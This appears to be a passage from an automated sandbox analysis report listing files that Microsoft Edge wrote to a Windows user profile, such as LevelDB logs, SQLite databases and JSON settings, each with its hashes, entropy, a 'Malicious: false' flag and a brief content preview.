Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.221397602932043
Encrypted:	false
SSDEEP:	6:HGrf4UUVOq2PN723oH+TcwtzjqEKj3K/2jMGIFUt8YGrfSYZmw+YGrfEkwON7230:SUAvVaYebvqBQFUt81/+O5OaYebvqBvJ
MD5:	03539DE3C771B129D8CC667FACAEAC7A
SHA1:	B233C7FEF7EBD1B2B92D0E55AEA8D56CA11290E0
SHA-256:	373AA8460E9871A6A2EB87ECA92B4986C8EFB2B9E9185A166229E6D8102FF50D
SHA-512:	28FA9D58042345731C3F8D4D72A5219C11BF37FDBC5E42FA0116793A6173DAFEC02B1E568166DE1BE9B05417C629581D18D48DC922C555DB539523517BD79542
Malicious:	false
Preview:	2024/11/23-13:52:42.825 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/23-13:52:42.826 1830 Recovering log #3.2024/11/23-13:52:42.830 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.221397602932043
Encrypted:	false
SSDEEP:	6:HGrf4UUVOq2PN723oH+TcwtzjqEKj3K/2jMGIFUt8YGrfSYZmw+YGrfEkwON7230:SUAvVaYebvqBQFUt81/+O5OaYebvqBvJ
MD5:	03539DE3C771B129D8CC667FACAEAC7A
SHA1:	B233C7FEF7EBD1B2B92D0E55AEA8D56CA11290E0
SHA-256:	373AA8460E9871A6A2EB87ECA92B4986C8EFB2B9E9185A166229E6D8102FF50D
SHA-512:	28FA9D58042345731C3F8D4D72A5219C11BF37FDBC5E42FA0116793A6173DAFEC02B1E568166DE1BE9B05417C629581D18D48DC922C555DB539523517BD79542
Malicious:	false
Preview:	2024/11/23-13:52:42.825 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/23-13:52:42.826 1830 Recovering log #3.2024/11/23-13:52:42.830 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\408b456a-fc0b-4da1-bf6c-c1efd78272c0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\60d89e7a-c3e4-406c-be0f-626e615180df.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3f667.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\a8cd2607-6438-4837-8827-0d0e6e06b20e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.224033511739044
Encrypted:	false
SSDEEP:	12:NSfvVaYebvqBZFUt84/+ke5OaYebvqBaJ:0nVaYebvyg8SIOaYebvL
MD5:	87B541A6E1CCFF9831BD7EEC34624E24
SHA1:	5D6D7CDA8104B8C48EED61EA71D362C14FDCF2C0
SHA-256:	FCF23326AA79F05BCDF933BCF6C116BC9FAFE8357D4127E2B2EEA1684A26AD11
SHA-512:	41E652182FABAF834ED79ADD445A7B8899C669A82972923B77FB6375F0587773B7C9A3B3701C4AEBC583C6F6F68C476CB1E0A7B67E90B2C4B3606037686CF4EB
Malicious:	false
Preview:	2024/11/23-13:53:01.474 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/23-13:53:01.476 1830 Recovering log #3.2024/11/23-13:53:01.480 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.224033511739044
Encrypted:	false
SSDEEP:	12:NSfvVaYebvqBZFUt84/+ke5OaYebvqBaJ:0nVaYebvyg8SIOaYebvL
MD5:	87B541A6E1CCFF9831BD7EEC34624E24
SHA1:	5D6D7CDA8104B8C48EED61EA71D362C14FDCF2C0
SHA-256:	FCF23326AA79F05BCDF933BCF6C116BC9FAFE8357D4127E2B2EEA1684A26AD11
SHA-512:	41E652182FABAF834ED79ADD445A7B8899C669A82972923B77FB6375F0587773B7C9A3B3701C4AEBC583C6F6F68C476CB1E0A7B67E90B2C4B3606037686CF4EB
Malicious:	false
Preview:	2024/11/23-13:53:01.474 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/23-13:53:01.476 1830 Recovering log #3.2024/11/23-13:53:01.480 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.174043723530723
Encrypted:	false
SSDEEP:	6:HGrfyWWM+q2PN723oH+TcwtpIFUt8YGrfy6e1Zmw+YGrfy6IWMVkwON723oH+TcM:pWL+vVaYebmFUt8IP/+IrLV5OaYebaUJ
MD5:	1345E01D48DE77E023CF85245815F729
SHA1:	902B56D209D27931EB9DE6F7B07586081A637994
SHA-256:	53585122F01DE7323569AA95DC8585FE985A1E56CAD10F2E0CB3C38DEA64FCB8
SHA-512:	888FCC9A572FA4D75B19D3A8D9B0EED11081039862345A55B47C0216EB8024944F55954B1EBC03A34C68A6D6539E36878BEDDBFD14AECE0D38E6F1A504719262
Malicious:	false
Preview:	2024/11/23-13:52:41.813 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/23-13:52:41.814 161c Recovering log #3.2024/11/23-13:52:41.814 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.174043723530723
Encrypted:	false
SSDEEP:	6:HGrfyWWM+q2PN723oH+TcwtpIFUt8YGrfy6e1Zmw+YGrfy6IWMVkwON723oH+TcM:pWL+vVaYebmFUt8IP/+IrLV5OaYebaUJ
MD5:	1345E01D48DE77E023CF85245815F729
SHA1:	902B56D209D27931EB9DE6F7B07586081A637994
SHA-256:	53585122F01DE7323569AA95DC8585FE985A1E56CAD10F2E0CB3C38DEA64FCB8
SHA-512:	888FCC9A572FA4D75B19D3A8D9B0EED11081039862345A55B47C0216EB8024944F55954B1EBC03A34C68A6D6539E36878BEDDBFD14AECE0D38E6F1A504719262
Malicious:	false
Preview:	2024/11/23-13:52:41.813 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/23-13:52:41.814 161c Recovering log #3.2024/11/23-13:52:41.814 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676251620904537
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVumB:Kq+n0JZ91LyKOMq+8iP5GLP/0s
MD5:	F7BD2F52ECA063C9C49F74336188795D
SHA1:	A919606BF8C5232978F712156CA28B6E98AC0112
SHA-256:	F8A932FC2BFCA556CDEBCD1894FC64484237E32BA11ADC3AB976C3CE14DD6FC2
SHA-512:	D64DE567E9F3BFDDF30401D603FD4761FBB127E287245D1A9238D14C6D04EF72B8E8D3789F1A0A7B896763745A5917E2BECA3D2DE3822CF172F0335EFA6670DA
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46580140262559094
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0etb1:v7doKsKuKZKlZNmu46yjx0eR1
MD5:	950EC5906E86EDA57B311BD786EF8BCF
SHA1:	60A5861F297DD72B5017811D5951A4DD6D3E3BEB
SHA-256:	ECC7384B747B37AC79C36D473CA14DA2892FC9FD0BC54C15559FD504BFAB96C0
SHA-512:	C7771FCE4F3D3C98A4B48FE1CDECA04FB1D99BDBCF76086D7D4BA025E51ADFCE41AAB9544D7A43C3603FAB0DCE335EF614748B86D62B3A7E71C0ED00BE526ACE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a48f6f24-4e40-43c2-b233-ea166751b5f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17400), with no line terminators
Category:	dropped
Size (bytes):	17409
Entropy (8bit):	5.491651919027169
Encrypted:	false
SSDEEP:	384:stGPGQSu4EsmICD5Ge3+stsK6XHi5Mw9bGxQw+j:sQOXu5ICS2t6XHi5NbGiTj
MD5:	9D0861BE6052A5D8D529B7899D562483
SHA1:	25DE2C8F9F217D1B65BD7DF640C8F463B982E261
SHA-256:	E24A9752A2E49D8E79D2DFA58B0BFE65F1317B9E124AC17280C7769596F1FEF4
SHA-512:	F02023A4D391FEC57404CF6472666FF2946502819E1872A687861166C3182BE4AE5F4D2716592871B0D423BE820BF5AA1281AF5679FD3B1008083474507F2276
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376861562467353","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10238397233624276
Encrypted:	false
SSDEEP:	12:+CdQCF/5spEjVl/PnnnnnnnnnnnvoQ/Eou:+gQ4/aoPnnnnnnnnnnnv1j
MD5:	E5A2BF1FF0151A3BBF82487C75BDCB4D
SHA1:	C025310B0E48C57D7D809A613CF4935F319F217F
SHA-256:	A15FA694D47CD92D235BB6D9E7DDE7AD6B2497AEFCA37A09C0531CD527A52442
SHA-512:	215018AD47126AD8431DB9B498CF18C6FD4FE2A8ABF4F2ABD8C741489F96F32D1A8BB85460CAC227A6B6B733D9DC2E2E050B54836E2B02826E95B3A27B0E305D
Malicious:	false
Preview:	..-.............M.......Nm.DZ4J.$J...V...b........-.............M.......Nm.DZ4J.$J...V...b..............I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.888209083394001
Encrypted:	false
SSDEEP:	384:utbfPqoDAi4ORlP56zM5d1Bq5gfy5L0C185hv8XWyNyAby0ypRyDxyDg:MtmpAW1
MD5:	B3BDCB0B2D828DEFC0B56E2E5D3622F8
SHA1:	8535F8309FC934E2D82D3925FAE6672AC808818E
SHA-256:	094B2178A62EBD185211481BF16A45005EA6E99F40FF068ED26735F000CE482E
SHA-512:	4635BD66E35DECC898705E1DBC078AD0F8F9A9045DCF08B3DA936D11EC4E68E1EAE6C36A4EA95A49F604F589E5BD68ED5479D7E9137650E01699E2F3DBA171AA
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5636400989240085
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuNlljfs8O:pHayiljfk
MD5:	68147E7920398F7D31BF4EA16DFBE1DC
SHA1:	606F6E716C2D3B25F09AEE1B47064D2545C6E4CF
SHA-256:	F16EA30C9AE86AB83398AE91C9B551EA21311CE8D7A7AFD5274C14E27DB5DB2A
SHA-512:	7BAA4CF0A4625624A8B009DB89E7302EE7CFCCECF4CF045712F9AA72735293CAEEE64378448302FC3E5DC608BBCA09DF47BDA34859A0ABF6CFFDAB5BE1F12C53
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................;...............#38_h.......6.Z..W.F.....R.......R............V.e................V.e................V.e..................#t0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.1616951168087635
Encrypted:	false
SSDEEP:	6:HGrfwjIq2PN723oH+TcwtfrK+IFUt8YGrfpvJZmw+YGrfpvDkwON723oH+TcwtfR:kvVaYeb23FUt8N/+/5OaYeb3J
MD5:	061BB888C259E667C2D78A76513DE381
SHA1:	5273336AFB11562EABFDDAF7455A51DFC15BD860
SHA-256:	689F635A84765BB2142A729D758DE46A60D191671625FDFD2AEACBD73E051148
SHA-512:	2B33602920F6B242B916D7CF20F3D123DE0B8227C691CE78D63A84AB5FFE4A6042B234CD952763BA27D85B638129C43955338F14FACDE29A0A3FF09C0918C869
Malicious:	false
Preview:	2024/11/23-13:52:42.490 aa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/23-13:52:42.491 aa0 Recovering log #3.2024/11/23-13:52:42.491 aa0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.1616951168087635
Encrypted:	false
SSDEEP:	6:HGrfwjIq2PN723oH+TcwtfrK+IFUt8YGrfpvJZmw+YGrfpvDkwON723oH+TcwtfR:kvVaYeb23FUt8N/+/5OaYeb3J
MD5:	061BB888C259E667C2D78A76513DE381
SHA1:	5273336AFB11562EABFDDAF7455A51DFC15BD860
SHA-256:	689F635A84765BB2142A729D758DE46A60D191671625FDFD2AEACBD73E051148
SHA-512:	2B33602920F6B242B916D7CF20F3D123DE0B8227C691CE78D63A84AB5FFE4A6042B234CD952763BA27D85B638129C43955338F14FACDE29A0A3FF09C0918C869
Malicious:	false
Preview:	2024/11/23-13:52:42.490 aa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/23-13:52:42.491 aa0 Recovering log #3.2024/11/23-13:52:42.491 aa0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
